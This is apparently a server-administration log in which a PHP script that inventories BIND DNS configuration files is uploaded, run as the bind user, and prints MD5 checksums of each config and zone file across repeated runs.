MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:51:15: Establishing a connection
2026-05-06 10:51:15: 

PUT: /tmp/pkp332893

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:51:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp332893; rm /tmp/pkp332893'

2026-05-06 10:51:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:51:16: Establishing a connection
2026-05-06 10:51:17: 

PUT: /tmp/pkp607952

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:51:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp607952; rm /tmp/pkp607952'

2026-05-06 10:51:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
